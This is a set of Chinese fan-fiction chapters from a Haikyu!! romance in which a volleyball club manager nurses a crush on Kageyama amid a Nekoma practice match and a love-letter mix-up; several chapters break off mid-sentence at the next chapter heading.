影山狠狠地瞪了日向一眼,不知道是不是想起了那个冲着他后脑勺直直飞过来的发球。 “影山君的水平一如既往的高,发球的威力有所提升,但是准确度好像降低了,大概约有一半的球为了追求威力和刁钻的球路出界了,注意协调之间的平衡。” 影山点点头。 两人又回到场上去练球,我打开计数器,替他们算着练习的次数和时间。 上次去看戈薇的时候,戈薇并不在家,好在听她妈妈说只是医院误诊,戈薇虽然身体不太好,但是还没有到得绝症的地步。所以我们只是把饼干、慰问卡和上课笔记什么的留给戈薇妈妈,便回来了。 还好只是误诊,我不由得感到庆幸。 在那之后,排球部也加入了新的成员。乌野的王牌回归,却是一个十分腼腆,看起来很凶但实际上无比亲切的学长。坂之下的店长小哥成了乌野的教练,头发染成了张扬的金色,如果只是在路上见到,说不定我还要绕道走。 距离我做乌野的经理,时间已经过去了大概一个月。我和排球部的大家越来越熟稔,对经理的工作也越来越得心应手。 不过自从上次以后,我就没有再和影山表白过。 明明每天都和影山走一条路回家,托经理这个身份的福,我和影山说话不用找什么理由,就算我的话题天马行空,影山也不会对此有什么意见。 大多数时候,影山只是沉默地听着,偶尔涉及到他感兴趣的话题的时候,他才会多说几句。 但是比起国中来说,我们的关系真的有了质的飞跃。 大概是同为暗恋者的缘故,我其实是十分理解千代的心情的,不论是不敢告白也好,还是担心自己被拒绝也好,我慢慢能够体会到千代会那样踌躇。 因为我隐约感觉到,影山同学看起来不会喜欢任何人。 他这一辈子的热爱,唯有排球而已。 “千树经理的工作越来越成熟了呢。”洁子学姐走到我身边道。 我冲她笑了笑,目光还是聚集在成员的训练上:“还是有很多不足的,还在学习呢。” “不用这么谦虚。”学姐也将目光放在大家身上,“和音驹那边联系上了吗?” 我点点头:“他们没有经理,我是直接和音驹的队长对接的。” 过两天就是黄金周,身为运动社团,这种时间自然要拿来进行合宿训练。小武老师不知道用什么方法,居然联系到了音驹的猫又教练,与乌野安排了一场训练赛。 “他们到了之后,会先和别的高中进行循环赛,6号上午来乌野综合运动公园和我们进行练习赛。” 一局训练结束,我放下手里的计数器,忍不住和学姐感慨道:“不知道音驹是个怎样的队伍呢?” 鸡冠头、寸头、莫西干头、布丁头…… 虽然大地学长握着鸡冠头音驹队长的手,双方脸上的表情都很和蔼,我却从两人的脸上都读出了肃杀的杀意。 好可怕…… 我不动声色地往后退了一步,影山注意到,皱着眉扭头看我:“怎么了?” “没有……”我结结巴巴地道。 老实说,我一直觉得我们乌野的配置很像反派。 比如此时已经冲上去和音驹的莫干西头用脸对抗的田中学长,还有经常被人说身上背了五条人命的旭学长。黑黑的运动服,排球部的部员又长得人高马大,冷着脸往别人面前一站,从天而降的压迫力简直让人胆战心惊。 但是此刻我觉得音驹也不遑多让。 不知道影山是从我脸上读出来了什么,扭回头平静地看向面前的红色队伍:“不管是什么,赢下来就好了吧?” 我愣了愣,随即提起了嘴角笑了一下。 影山瞬间瞪大眼睛望向我:“你不觉得我们能赢?” “怎么会,”我连忙摆手,“以我们乌野的攻击力,当然没有问题了!” 我只是每次看见影山这样平静预言自己胜利的样子,都觉得很高兴就是了。 日向不知道什么时候认识的对方的二传手,和人家已经凑在一处聊起了天。洁子学姐叫了我一声,嘱咐我过去帮忙做准备。 我连忙应了一声追上去,身边却响起了一声仿佛天塌了一般的叫喊:“美——女——经——理——” 我转过头,刚才还一脸凶相地和田中学长打得有来有回的莫干西头,这会儿像是个心碎的小媳妇一般趴在地上:“还有两个——” 田中前辈一脸已经赢了比赛的表情。 我眨了眨眼,洁子学姐习以为常地拉着我走开了。 所以音驹为什么没有经理? 至少如果有经理的话,我就不用和那个看着就很吓人的鸡冠头队长对接工作了。 还有音驹那个圆阵。 怎么还有口号啊!你们这架势真的很像邪/教诶你们知不知道! 就像小武老师说的,音驹的二传与影山看起来很不一样。 影山是那种一打眼望过去,就会让人觉得才华四溢的二传,在球场上光芒四射,让人很难忽略他的存在。 但是音驹的二传不同,他看起来很不起眼,瘦小、没力气,在球场上感觉连脚都懒得抬,但是一双猫瞳却十分锐利,总是让人有些不寒而栗的感觉。 而且因为他漫不经心的态度,以及在球场里几乎可以忽略不计的存在感,乌野总会被他各种各样的小动作给骗过去。 比如猝不及防的二次进攻,以及用眼神误导了最擅长思考拦网的月岛。 不得不承认的是,音驹虽然队伍里也有一年级,但是整体的流畅感和成熟度都比乌野高多了。 三局结束,乌野输得明明白白。 我起身去给大家送水,影山道了声谢,嘴上喝着水,眼睛却直勾勾地盯着对方的二传。 “你也认识孤爪君?”我好奇地问。 音驹的二传叫孤爪研磨,就是那个懒得补染的布丁头。日向能认识他已经让我很意外了,毕竟我们之前和音驹从未有过任何联系,难道影山也认识? 13. 情书*2 《[排球]影山同学请和我告白》全本免费阅读 “喂喂影山,5班的李千树是不是你们排球部的经理啊?” 影山撑着昏昏沉沉的脑袋一节课,终于迎来了课间,好容易可以光明正大地趴下会周公,却被同班同学抓起来问问题。 他早上四点半就起床来练排球了,现在困得要死。李千树是排球部经理这个问题不是稍微一打听就知道吗?有必要专门问他一句? 影山皱着眉很不高兴,但是想起李千树之前教过他待人要友善一些,他还是敷衍地应了一声。 “哇,排球部真好啊,要不我也去排球部吧?李千树超可爱诶……” “为什么我们篮球部没有这么可爱的经理!” “而且排球部还有一个三年级的学姐吧?那个经理也超级正的诶!我同学是外校排球部的,这个学姐的美貌在外校都很有名!” 正不正的不知道,但是你再多说一句在田中前辈手底下都很难留个全尸。 影山懒洋洋地想着,头又往桌子上砸去,结果又被同学给拉起来:“李千树同学是个什么样的人啊?看起来超级不好接近的诶!” “啊?”影山皱着眉头苦思冥想。 李千树除了第一天开学在排球部见面的时候露出了十分令人恐惧的笑容,但在那之后一直是个很好亲近的人。 排球部的每个人都和她关系很好,甚至连月岛那个嘴巴里没一句好话的家伙她也能聊得有来有回。 “她人很好啊。”影山诚实道。 那几个男生瞪着眼睛看着他,半晌才隐蔽地对彼此使眼色:“……不过影山也不是那种好亲近的人。” “对头。” 其中一个男生鼓起勇气:“那你知道李千树同学喜欢什么吗?” 几个叽叽喳喳的男生瞬间安静下来,充满希冀地看着影山。 影山一头雾水:“我不知道啊。” “甜点?奶茶?毛绒玩具?中国人的话……熊猫?”那男生不死心地问,“她总有点喜欢的东西吧?” “啊,”影山应了一声,皱着眉头想了半天,“喜欢排球吧……” 不喜欢排球为什么这么积极要来做排球部的经理呢? ------- “千树,又有男生来了哦!”戈薇笑眯眯地看着我桌上的礼物,“千树真的很受欢迎啊!” “隔壁班的北条君给戈薇送的礼物也不少吧?听说之前还去戈薇家里探望了呢!”我笑眯眯地回道。 我们两人都闭上嘴,默契地把桌上的礼物塞进抽屉里。 “不过最近怎么总有人送我排球的东西啊?”我皱着眉收拾着。 护膝、护腕、手指绷带……甚至还有排球明星的周边,我根本用不上啊! 有的礼物没写名字,想要好好地回馈心意都不知道应该给谁。 “可能是觉得千树在排球部当经理,一定就很喜欢排球?”戈薇凑过来看了一眼礼物,也不由得咂舌,“但是千树你根本不打排球吧?” “完全不会打。”写了名字的礼物可以送回去,没写的怎么办? 我又用不上,买的又是女款,我又没有办法送给排球部的大家。 不行就给女排的队长道宫学姐吧,就说是我捐的。 我把东西都塞进抽屉里,边打开书本边想道。 排球部每天七点就要到学校早训,虽然学长学姐都没有强制我参加,但是我每次都还是老老实实地早起参加。 脱离集体活动总是不好的,再说了,在国内也是要早起上早自习的,这个时间点我也习惯了。 头几次我还心存侥幸,一起上早训的话,说不定早上去学校也可以和影山君一起。 然后影山君说他每天四点半就起来了。 天杀的你们这些排球脑袋不用睡觉的吗! 我果断放弃了和他一起上学的想法,四点半让我起床还不如杀了我,就算要求我四点半起床的人是影山也不行! 黄金周结束以后,几乎就是IH的预选了。虽然之后还有春高,但是三年级能不能留到那时候还是个未知数,毕竟他们面临着毕业升学的压力,现在每一场比赛对他们来说都很珍贵。 如果是我的话,估计会在上高三的时候就辞了经理的职务吧,连IH可能都不会参加了。 总而言之,最近排球部的训练很紧张,每个人都绷着一根弦,虽然没有人说,但是排球部的空气里就好像存在着这种兴奋的因子,就像跳跳糖和碳酸饮料的气体,一进嘴巴就开始“噼里啪啦”地炸开,刺激着每个人兴奋的神经。 我能感受到,排球部最近这根紧绷的弦,倒不是说多紧张,更应该说是对比赛的渴望,对进步的渴望,对胜利的渴望。 而我作为经理,能做的事情也有限,只能是尽量陪着他们练习,做好分内的后勤工作罢了。 而影山和日向,作为其中之最,早上来练习的时间越来越早,晚上留下来练习的时间也越来越晚。虽然有大地学长明令呵斥,但是这俩每天还是会偷偷摸摸留下练习。 我一般能留下陪他们多练一会儿球,但是这俩家伙摸到球就不知餍足,“最后一球”就像是对付人的说辞,而我是那个被骗了无数次的大冤种。 我总是陪他们练习练到我的手都提不起来了,表哥忍无可忍地过来把我从体育馆拎走,警告性地瞪影山和日向一眼,然后我收拾东西回家。 这俩还能在排球部再练一会儿。 这样旺盛的精力到底是从哪里来的?拿来做燃料的话不是早就能解决这个世界能源不足的问题了? 放学的时候,我正收拾着东西,犹豫着要不要把漫画新刊放进包里——黄金周跟着排球部合宿练习,没能第一时间看完漫画的更新,我已经落下好几话了。 但是今天的作业还没写完,明天有课堂小测,如果带回家的话我一定会忍不住看完更新不复习…… 我正在位置上天人交战,戈薇突然用戳了戳我,下巴往教室门口一扬:“是来找你的吧?” 我抬头看去,门口那个黑发的高挑身影格外突出,虽然因为皱着眉,表情有些凶,折损了几分脸的帅气,但确实是影山没错。 破天荒的没有一下课就第一时间跑到体育馆,怎么会到我们班门口?来找我的? 我把漫画放回抽屉,三两下拉好书包的抽屉,向外走去。 影山这样的人,不管放在什么地方都很瞩目。这会儿混在下课的人潮中,虽然等在门口的动作显得漫不经心,却也足以吸引路过的 14. 生气 《[排球]影山同学请和我告白》全本免费阅读 “觉不觉得今天千树桑有点怪怪的?”日向看了一眼表情分外冷漠的少女,打了个冷颤,问影山。 影山抬头,顺着日向的眼神看了一眼李千树。 少女在排球部工作的时候会将披肩的长发扎起来,在脑后梳成一束,变成一只高高的马尾。她手上拿着平时记录数据的文件夹,脖子上挂着秒表,另一只手捏着计数器,面无表情地看着场内正在训练的排球部众人,时不时走近某人和他说他的练习数据。 影山将视线收回来,底气不足道:“有吗?” 其实是有的。 但是影山不知道为什么。 同班同学不知道从哪里听说,直接送到李千树手里的情书和礼物她一概不收,又没有胆子当面和李千树表白,便打起了影山这个歪主意。 对方用一个星期的咖喱包作为报酬,影山觉得没有拒绝的道理。 何况对方一直觉得李千树冷冷的不好接近,但是她明明和排球部的所有人都相处得很好。 大概对方也是考虑到这一点,所以才找上他的吧,影山如是想到。 不过自己与李千树的关系究竟算不算得上好呢? 影山咬着酸奶的吸管思考了一阵,觉得应该够不上顶好,但是勉强还可以。 毕竟之前她会邀请他一起回家,还给他甜点吃。 一个星期的咖喱包可不是一个小数目,影山把递交情书这件事的优先级仅仅排在了排球训练后。所以为了防止自己把这件事情抛之脑后,影山一下课先到了五班门口,准备等李千树一下课就把情书给她。 结果他还真的差点忘了。 好在最后还是把情书递了出去。影山背着包走了几步,想快点到排球馆练习,却发现李千树没有跟上来。 一转头,李千树的表情没有变化,但是影山莫名觉得从她身后似乎冒出了黑气。 糟糕,难道那不是情书,而是决斗书? 李千树平时走路时总和他并肩走,但是今天却始终落后他半步。 李千树和他走路时总会时不时和他说说话,今天却一言不发。 也许,可能,大概,应该,李千树确实是生气了。 想通这一关节的影山咽了口唾沫,莫名觉得有些亏心,装作不经意的样子问日向:“……你平时惹人不高兴了,都怎么办?” “哈?”日向把他发过来的球打飞,“你这叫什么问题?” “……你就说怎么办!” “道歉啊,还用说吗?”日向把球捡回来,“你肯定做错了事情人家才会生气的吧,好好承认错误然后道歉啊……” 影山踌躇,影山犹豫,影山不知所措。 以他贫瘠的脑袋瓜,他实在想不出李千树为什么突然生气,也实在想不出自己究竟有什么错处。 “你突然问这个干什……啊!”日向突然叫了一声,影山手一抖,差点把到手的球打飞,下意识就竖起眉毛要骂日向是蠢蛋,就听见日向捂着嘴巴指着他大叫:“所以是你惹千树桑生气了是吧!” “混蛋日向,我才没有!” “那你突然问什么!” “吵死了,我说没有就是没有!” “分明就有吧!” …… 总之是以影山恼羞成怒和日向大展拳脚而告终。 “好了放开我!”日向扒开影山箍着自己脑袋的手,忿忿不平地说,“自己惹了千树桑生气还要做这种事……你要不去问问田中学长和西谷学长呢?处理女孩子的问题,他们俩最有心得了!” 影山觉得日向说得好像有道理。 “田中前辈,西谷前辈,我可以问你们一个问题吗?”趁着李千树出去接水,影山凑到田中和西谷身边真诚地问道。 “可以哦,有什么问题需要问你靠谱的前辈们!”田中和西谷的自尊心受到极大满足。 “就是……”影山斟酌了一下用词,“你们惹清水学姐生气的时候,都是怎么办的?” “呵。”田中冷笑一声。 西谷伸直手臂,示意影山蹲下来点,拍了拍影山的肩:“太天真了,年轻人。” 影山:? “清水学姐她啊——”田中开始吟唱。 “是从来不会——”西谷持续接力。 “生我们的气的哦!”两人叉腰扭头,在影山面前摆出了一个十分帅气的姿势,表情严肃且骄傲得仿佛在拍时尚杂志。 “清水都懒得理你们,当然不会生你们的气。”路过的菅原无情地戳破真相。 影山:…… 所以到底应该怎么做? --------- 我看着面前的人做完蛙跳,强笑着和他交流了今日的数据,一扭身嘴角还是忍不住耷拉了下来。 趁着大家都在休息,我面朝墙壁做了五个深呼吸,努力把自己的情绪平复下来。 生什么气呢,我自己都觉得这份生气和委屈来得莫名其妙。 自己暗恋了影山两年,那是我自己的事,在来乌野之前,影山甚至不知道我姓甚名谁,也不知道我长什么样子。 入部那天把情书递成了入部申请书,之后也没有向影山好好解释过自己的感情,甚至对他的一点特殊优待,比如包着爱心的饼干,比如从知世姐姐家带回来的甜点,都是伪装成朋友的样子交给他的。 我自己没有展露过一丝一毫,凭什么要求影山对我的心意有所了解。 他要帮忙传递情书有什么问题,我平时又不与社交圈之外的人接触,如果他的朋友知道他与我相识,想要通过他搭个桥和我认识也是很正常的事。 我到底在委屈些什么啊! 无可避免地觉得自己有点矫情,我狠狠地抹了一把有点湿润的眼眶,确认自己没有什么情绪外露之后,才转回身来看着手里的表格。 放平心态。 影山君只是帮朋友递一份情书而已,他没有做错任何事,为了这种事生气,是我在无理取闹才对。 比起生气,更应该做的事情还有很多。 比如IH预选在即,我不应该用这种无聊的情绪影响影山和排球部其他人的训练; 比如还要把这封情书好好回应,告诉他们结果并不会因为有影山或者是任何一个我的好友牵线搭桥而发生改变; 比如今天被那么多人看见递情书的场景 15. 翡翠白菜 《[排球]影山同学请和我告白》全本免费阅读 太阳底下没有新鲜事,何况乌野一个年级才这么几个班。影山和李千树又是一年级中格外引人注目的佼佼者,要不是乌野没有校园论坛,“影山飞雄和李千树告白”这种事情当天就能干垮学校向来可怜的服务器。 千树不知道花了多少力气才捂住了千代和戈薇两个人的嘴,还要心有戚戚焉地向每一个来和她打听的人解释真相。 田中和西谷自然也很快就听说了这个消息。 影山照例来到排球部的时候,田中和西谷正站在李千树对面,一脸严肃地说些什么。 “听说……昨天那混……影山和你告白了?”田中前辈上次这个表情,还是在有人当着他面说乌野是飞不起来的乌鸦的时候。 李千树摆摆手:“不是啦,是误会,他们班有同学找他帮忙递情书。” 田中学长和西谷学长的表情缓和了些。 “我就说影山那家伙……哈?”西谷前辈说到一半,忽然惊叫一声,“居然还不是排球部的!” 两人对视一眼,都在对方眼里看见了怒火。 可恶!知道的,他们明明都知道的! 就像千树学妹到乌野排球部的第一天,他们就觉得一定是幸运女神眷顾乌野,才给乌野安排了这样一个聪明美丽的新生经理。 有洁子学姐在先,又有千树学妹的加入,这是乌野排球部何等的福气! 他们觉得千树学妹好看,自然是因为他们有眼睛,有属于人类的正常审美。 但是显然这个学校里有眼睛有审美的不止有他们两个啊! 田中虽然在二年级,但是在千树学妹进学校的第一天,他就听见班里有人窃窃私语: “开学典礼新生代表发言的那个学妹超可爱的!” “是去排球部做经理了吧?要不要去看看?” 后来田中用实际行动警告了这群想吃天鹅肉的癞蛤蟆,心里的警报却滴滴作响。 可恶啊,千树学妹可是排球部珍贵的经理啊!这样的翡翠白菜,怎么能随随便便被这群连袜子和短裤都不知道要分开洗的混小子给拱了! 影山这混蛋,居然还帮别人给千树学妹递情书! 田中和西谷眼神瞥了一眼门口的人影,影山刚刚从门口进来,还没来得及和人打招呼,猝不及防收获了田中和西谷的死亡凝视,顿时觉得自己像是被四把冰刀给凌迟了。 “前……前辈们好。”影山结结巴巴地打招呼。 月岛正巧从他身边过,斜着眼看了他一眼,冷笑一声:“呵,蠢货。” 田中和西谷都听说了的事,月岛在李千树的隔壁班,自然也听说了。 所以影山不是蠢货是什么。 田中前辈一张脸皱成苦瓜:“千树学妹啊,没有答应吧?” 千树乖巧点头:“学长放心,我好好地拒绝了。” 西谷欣慰地点了点头,一脸老父亲看女儿的眼神看着李千树,想了想又补充道:“至于别的男生,要是连一张帅气的脸都没有,就更不要多加接触了,你看我们排球部的男生也很不错的嘛——” 西谷和田中转身,看向体育馆内: 日向,不行,这个是傻的。 影山,不行,这个更是傻的。 月岛,不行,这个嘴太欠了。 山口……山口怎么还躲起来了? 田中和西谷沉默。 乌野一年级,没一个能拎出来和千树学妹搭搭对的。 “一……一年级不行,看看二三年级也可以的嘛!”田中努力维系着话题,“缘下成田还有木下……泽村学长东峰学长和菅原学长也很不错啊!” 李千树又眨了眨眼:“放心学长,我已经有喜欢的人啦!” “哦有喜欢的人就好……哈?”这回轮到田中尖叫,“是谁!千树学妹,你还是要好好学习的时候,谈恋爱这种事情对你来说果然还是太早了!” “你是人家妈妈么?管好你自己吧,就你那点分数还不够人家千树学妹零头的,人家可是因为成绩突出保送进来的,开学考期中考都是年级第一,荣誉榜还在教学楼挂着呢!”路过的菅原学长敲了敲田中和西谷的脑壳,示意两人少管闲事。 “千树学妹啊,你可千万不能被那些男生的花言巧语给骗了,你知道吗?”田中虽然被菅原抓住,但还是苦口婆心地开了口,也活像是李千树的老父亲,“有的男生,虽然长得好看……就像那个青城的那个谁,那可就是个花花公子,嘴里可没一句实话啊!你要是因为脸蛋失去了理智,可就完了啊!” 十分不想承认及川彻长得帅,可是这家伙确实很惹女生喜欢啊! 李千树眨了眨眼:“田中前辈放心,我不喜欢及川学长。” “不会是音驹那个鸡冠头吧?留那个发型的一看就不是好人啊!”西谷也没忍住。 李千树摇摇头:“学长放心,也不是黑尾学长。” 两人一口气松到一半又提了起来,这俩都不是,还有哪里有帅哥? “给我热身去!问东问西的打探什么!”泽村呵斥道。 李千树也愉快地跳过了这个话题,从书包里掏出来新的曲奇:“这是上周去姐姐家做的,没有很多,学长们吃吗?” “吃!” 田中和西谷挣脱菅原的魔爪,一人抓了一块曲奇,吃了一口后对视一眼,默默和彼此在心里种下约定。 勾引学妹的人,杀无赦。 “千树桑有喜欢的人啊,是谁啊?”日向凑到影山身边问道。 “不知道。”影山诚实地回答道。 “啊!我知道了!是不是每天来接她的那个二年级学长!哇真的超帅的!那是她男朋友吧!”日向忍不住兴奋道。 “大……大概吧。” 确实……看着挺配的。 影山心里涌起一股怪异的感觉。 他今天白天把李千树的回信还给那个同学的时候,心里也有这种感觉。 那个同学接了回信,也没着急看,一副意料之内的样子:“啊,果然不行啊……我还以为让影山去递她会答应呢,不过怎么让影山君帮忙递回信啊,不应该她亲自来吗?” 影山一向对人的恶意都比较迟钝,这次却莫名觉得有些不舒服,皱了皱眉道:“她说不认识你,就让我帮忙转交了。” 这些人也很奇怪吧,分明话都没说过,就能说自己有多喜欢对方,还给对方递情书。 对方能答应才怪吧。 影山把书包放进桌子里,准备趴下睡觉。 “那我呢?我和她 16. 晚霞 《[排球]影山同学请和我告白》全本免费阅读 “在看什么?”难得到了体育馆没听见里面传来打排球的声音,我朝着凑在一堆的人群望去,日向君手上拿着一本杂志,一个个毛茸茸的脑袋都围在他周边,抻长脖子往那杂志上看去。 “啊,千树桑!”日向看见我,连忙招了招手,将那杂志递到我眼前。 田中学长补充道:“是《月刊排球》,说全国最值得注意的三大主攻手,有一个就是白鸟泽的牛若哦!” “白鸟泽,那不就是影山没考上的那所学校吗?”日向神经大条地问道。 “吵死了!” 月岛和山口在一旁毫不掩饰地笑出声。 然而日向一句不经意的话伤了两个人的心。 “白鸟泽……我也没考上……”我艰难地道。 “啊?千树桑……一定是白鸟泽不适合你!千树桑要是真想考,怎么会考不上白鸟泽的嘛!千树桑那么厉害!”日向手忙脚乱地努力想办法安慰我。 我噗嗤一声笑了出来:“也没那么伤心啦,就是当时生病了没发挥好有点耿耿于怀而已……” 我冲日向眨眨眼:“所以大家可要打败白鸟泽,给没考上的我们报仇!” 日向田中西谷:“是!” 比赛前的一分一秒都显得珍贵,没多久小武老师就拿来了预选赛的分组结果。 不得不说,宫城县这地方不大,却是强者如林。有牛岛若利这样的王牌主攻手在的白鸟泽自然不用说,及川学长率领的青城也不是什么善茬,还有以铁壁著称的伊达工和善守善攻的和久南。 乌野要走到全国大赛,真不是一条简单的路啊。 临近比赛,我和学姐都更忙了起来。排球部的成员自然每天训练得昏天黑地,我和学姐则四处搜寻比赛队伍和选手的资料。 知己知彼方能百战百胜,乌野还是一支不成熟的队伍,若能更早地发现对方的缺点,再田忌赛马,获胜的希望就大得多。 我抱起面前沉重的纸箱,里面是我们对手学校近年来的比赛视频,虽然因为新生一年级的加入,各个球队说不准会发生变化,但哪怕只能找到一丝一毫的痕迹,也是好的。 我面前这一沓是青城的,而学姐面前那一箱是伊达工业的。 清水学姐转头看了眼我的纸箱,皱了皱眉:“千树,你的会不会太多了?分我一点吧?” “没事啦,而且伊达工的比赛视频也不少吧?不用担心,我可以的!”我掂了掂面前的箱子笑道。 唯一的担心是,箱子有点沉,我好像没有办法就这样一直搬回家。 小狼哥的足球部也要参加IH的预选,他作为足球部的王牌,这些日子回家也很晚,每天回来都是一副累得双眼无神的样子,我就很自觉地接过了家里的活。 能把体力那么好的表哥累成那个样子,足球部也不是什么省心的部门啊…… 但话又说回来,到了这个地步,我肯定就不好意思让表哥帮我把这箱录像带回家。 怎么办,管家温伯自从表哥上高中之后就被表哥请回香港颐养天年了,如今家里除了我和表哥也没有别人在,我想找人帮帮忙都找不到。 学姐也看出来我一个人把那个箱子搬回去有些费劲,向我提议道:“千树是不是和影山君同一条路回家?之前好像看见你们一起走过几次,要不问问影山君能不能帮帮忙?” “啊……不用了……”我下意识拒绝道。 “为什么?”洁子学姐疑惑地歪头。 “因为……”我低着头找理由。 因为影山,最近好像在躲我。 每周的烘焙课我依然会做饼干、面包各类小甜点来给大家分,但是每次分到影山的时候,我就找不到他的人影,只好把他的份和他的水瓶放在一起。 但也不是每次最后他都会带走。 有几次被田中学长和西谷学长发现,两人怒火中烧,把影山教训了一顿后,之后影山的份就都由两人分掉了。 虽然训练的时候看不出什么异常,我在和他反馈近期的训练数据的时候,他也都一脸平静,但似乎离我的距离远了很多。 平常我和他聊天,也是我挑起话题比较多,虽然影山很少会主动和我打开话匣子,但是每次我说的时候他至少能安静听着,时不时附和我一句。 但是最近,好像每次我想走上前和他说些什么的时候,他就会突然变得很忙。 要么是突然给自己加了一组发球练习,要么是系得好好的鞋带需要解开重新系上,要么是明明已经打了一会儿,还要弯腰热身。 这份手忙脚乱我很习惯,是人在觉得尴尬的时候的下意识反应。 换句话说,影山如果和我说话会觉得尴尬。 再换句话说,影山并不想和我说话。 和自己不想交谈的人聊天是一件很痛苦的事,所以我往往在看见他突然放下喝到一半的水瓶捡起脚边的球的时候,就十分有自知之明地停下脚步。 没必要自讨苦吃吧。 “因为……因为影山君他们训练很累吧?”我掂了掂那个箱子,“还是早点回家比较好,不要在这种没有意义的事情上浪费力气。” “箱子不打紧,我一会儿去坂之下借一个小推车,明天还回去就好了!”我把那个箱子和我的书包放在一起,冲学姐摆了摆手,“要不要帮学姐也借一个?” 洁子学姐摇摇头,伊达工的视频比青城少一些,而且她力气和体力也比我好。 “不要逞强。”我跑出去前,学姐冲我喊道。 坂之下不远,和教练说明了情况之后,他很爽快地就把小推车借给了我,还要感谢我愿意看那些无聊的视频。 也不能说无聊吧,教练自己为了乌野排球部的进步也做了很多努力啊! 一个毕业多年的成年人,听完我这句话之后,竟然也哭出了和日向君如出一辙的蛋花眼。 我拖着小推车回到学校的时候,学校已经没有什么人了。 虽然时间晚了些,但是天还不算特别黑,毕竟已经是五月底,白昼长夏夜短,反而是星星一颗颗早早地就爬上了岗位,用微渺的星光和落日争辉。 山后的落日将西边的一整片天空都染得红红的,绚丽得像是少女绯红的脸颊。 晚霞很灿烂,明天应该也会是个好天气。 我一边这么想着,一边拖着小推车向体育馆走,然后远远看见一个人影坐在我的书包和那个纸箱子边,一动不动,不知道在想什么。 是表哥吗?他怎么知道那是我的 17. 交友建议 《[排球]影山同学请和我告白》全本免费阅读 影山前几日特地给外地的姐姐打了电话,询问被人讨厌了到底应该怎么办。 电话那头传来吹风机的声音,轰隆隆的,几乎要盖掉美羽的声音。 她大概刚洗完澡,也没听清影山刚才说了什么,按捺住险些脱口而出的“你没事吧”,诧异地看了一眼来电显示,确认是影山,又扯着嗓子喊:“你说什么?” 影山耐着性子把自己的话重复了一遍:“我说,被人讨厌了怎么办!” 对面的吹风机戛然而止,影山一瞬间觉得被吹风机吵得嗡嗡作响的脑袋清明了,美羽一向酷酷的声音好像染上了一丝不可思议:“你再说一遍?” 影山有些摸不准她是真没听见还是装的,声音小了下来:“……没什么,挂了。” “等等!”电话对面的美羽提高声音,“被人讨厌了怎么办?你问这个干什么?” 影山没吭声。 没等到自家弟弟的回答,美羽在吃瓜和维持自己的高冷人设中纠结了一瞬,最终无可奈何地倒向八卦的味道,试探地问了一句:“男的女的?” 影山“啪叽”按掉了电话。 美羽真是意料之中的不可靠,他打开谷歌页面,开始上网搜索,“被人讨厌了该怎么办”。 谷歌上跳出来数不清的搜索结果,影山点开其中一条,对方给出的处理方式洋洋洒洒占了一整面:不深究理由、不讨好他人、让自己优秀、真实地表达自己、被讨厌了也要保持礼貌…… 洋洋洒洒将近一千字的交友提示,看得影山一个头两个大。 处理人际关系果然很烦。 影山从小到大都没有什么朋友,爷爷去世,父母忙于工作,姐姐如今又在外地,陪他最久的只有排球。 他关上搜索页面,躺在床上,徒劳地把球一遍一遍托向半空又接住。 可是排球不会开口说话,不会告诉他应该怎么交朋友,也不会告诉他被人讨厌了,该如何才能让对方不再讨厌自己。 从前影山高兴的时候打排球,不高兴的时候也打排球,世界上没有打一次排球解决不了的问题,如果有,那就打两次。 但是显然,李千树并不会因为他自己快乐地打一场排球就对他改变看法。 原来这个世界上,还有打排球解决不了的问题。 所以即便他努力了很久,想要寻找一个解决方式,仍然在此刻和李千树并排走的时候,脑子里一片空白,想不出任何的解决方式。 很明显李千树也意识到有一点不对劲了。 她是一个细腻又好心的人,所以在影山差点撞上第三根路灯的时候,她终于忍不住开了口:“影山君,有什么心事吗?” 影山掏出自己兜里的小抄——网站上字太多了,他记不下来——看了一眼。 纸条皱皱巴巴地躺在手心,歪七扭八的字让汗液浸得有点模糊,他刚才一直攥在手里,字都有点看不清了。 影山努力辨认着自己狗爬的字迹,第一条就是“不深究理由”。 于是到嘴边的“李桑为什么讨厌我”又被影山咽了回去。 “没事。”影山不自在地回了一句。 李千树轻轻应了一声,闭上嘴继续沉默地跟着影山并排走着。 影山微微偏头,李千树正专心致志数着脚底下的砖块,丝毫没有分注意力给鬼鬼祟祟的影山。 于是他又掏出那张纸条,迅速地看了一眼。 第二条是“不讨好他人”。 什么叫讨好他人? 影山反思了一下自己最近的行动,和李千树在一起时……不,他最近都没怎么和李千树接触,唯一的一次主动提供帮助,就是这次帮忙拉小推车。 这算讨好她吗? 影山仔细地思考了一番,觉得说不定可能是。 在得出这个结论的瞬间,影山心凉了半截。 完了,全完了。 正巧走到了李千树即将拐弯回家的分岔路口,李千树小跑两步,站到影山面前,伸出手:“推车给我吧,今天谢谢影山君。” 影山连忙把手里推车的把手递到李千树手里。 她似乎失神了一瞬,但还是好好接过了推车。 影山趁机瞥了一眼自己的小抄,第三条,让自己优秀。 他的动作太明显,引得李千树也好奇地把目光投向了他一直揣在裤兜里的手:“影山君,你的左手……” “李桑,”影山连忙打断她,接着磕磕巴巴地道,“比……比赛,我会赢的!” 他比赛如果全赢下来,他一定就是一个最优秀的二传手。 不对,不是如果,是一定。 影山看着李千树的眼睛,郑重而又庄严地修改了自己的发言:“我一定会赢的。” -------- 影山君今天怪怪的。 我看着面前手足无措的影山纳闷地想。 刚才拉着推车的时候,影山虽然一脸严肃地在路上走着,但是眼神明显失焦,不知道心里在想着什么,冲着路灯撞了三次,被路过的车子吓了两次,还被临街偷溜出来的小狗追着跑了一段。 他右手拉着推车,左手一直直挺挺地揣在兜里,一动不动,僵硬得甚至有些不自然。挎在右侧的背包有一下没一下地撞着他身后的小推车,他都没想到可以把他自己的书包也放到小推车上。 刚才停下来说话的时候,他显得格外紧张,揣在兜里的手飞快地抽出来又放了回去,像是在那里面藏了什么不能见人的东西。 我狐疑地看了一眼影山的左手,那个裤兜里藏了什么?IH对手的致命弱点? “比……比赛,我会赢的!”他突然说道。 我眨了眨眼,不知道为什么他突然说这么一句。 只是当我还没有开口,他又补充了一句:“我一定会赢的。” 与其说他是在像平常一样讲述自己一定可以赢的这个事实,不如说他像是在进行一个承诺,承诺自己一定会和球队一起取得胜利,发誓自己一定可以达到那个未来。 我一时有些摸不清,他说这些话的目的到底是什么。 影山紧张地盯着我,盯着盯着却又挪开了眼睛,低头看着路边的小草,以及在路灯下被照出的浅淡的阴影。 半天没有等到我的回应,他又一副刚想起什么的样子,手忙脚乱地补充道:“我的意思不是靠我一个人赢,我的意思是说……” 影山抓耳挠腮地憋了半晌,也没能憋出一个合适的解释。 18.最厉害的二传 《[排球]影山同学请和我告白》全本免费阅读 